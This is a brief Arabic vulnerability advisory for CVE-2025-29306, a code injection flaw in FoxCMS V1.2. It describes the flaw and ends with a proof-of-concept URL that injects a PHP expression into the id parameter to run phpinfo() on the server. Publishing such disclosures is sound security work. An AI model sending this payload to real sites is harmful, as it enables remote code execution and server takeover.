CVE-2025-29306

ثغرة حقن معلمات الخدمة في نظام إدارة المحتوى FOXCMS黔狐

أولًا: مقدمة عن الثغرة

يُعد FoxCMS نظامًا مجانيًا ومفتوح المصدر لإدارة مواقع الويب، قابلًا للاستخدام التجاري، ويعتمد على بنية PHP+MySQL. يحتوي نظام إدارة المحتوى FOXCMS黔狐 على ثغرة حقن معلمات الخدمة، ويمكن للمهاجم استغلال هذه الثغرة للسيطرة على الخادم.

ثانيًا: تأثير الثغرة

نظام إدارة المحتوى FOXCMS黔狐 الإصدار V1.2

ثالثًا: إجراءات إعادة الإنتاج

POC http://xx/images/index.html?id=%24{%40print(phpinfo())} — أدخل الـ POC وقم بزيارة صفحة الثغرة، وستجد معلومات تنفيذ أمر phpinfo